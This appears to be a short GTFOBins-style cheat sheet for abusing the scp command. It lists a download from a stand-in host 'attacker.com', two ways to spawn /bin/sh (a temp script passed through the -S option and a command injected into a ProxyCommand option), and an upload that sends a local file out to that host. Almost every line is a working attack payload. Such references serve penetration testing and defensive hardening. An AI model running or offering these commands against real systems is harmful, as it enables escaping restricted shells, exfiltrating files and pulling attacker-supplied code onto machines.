scp

Download

scp user@attacker.com:/path/to/input-file /path/to/output-file

Shell

echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file
chmod +x /path/to/temp-file
scp -S /path/to/temp-file x x:

scp -o 'ProxyCommand=;/bin/sh 0<&2 1>&2' x x:

Upload

scp /path/to/input-file user@attacker.com:/path/to/output-file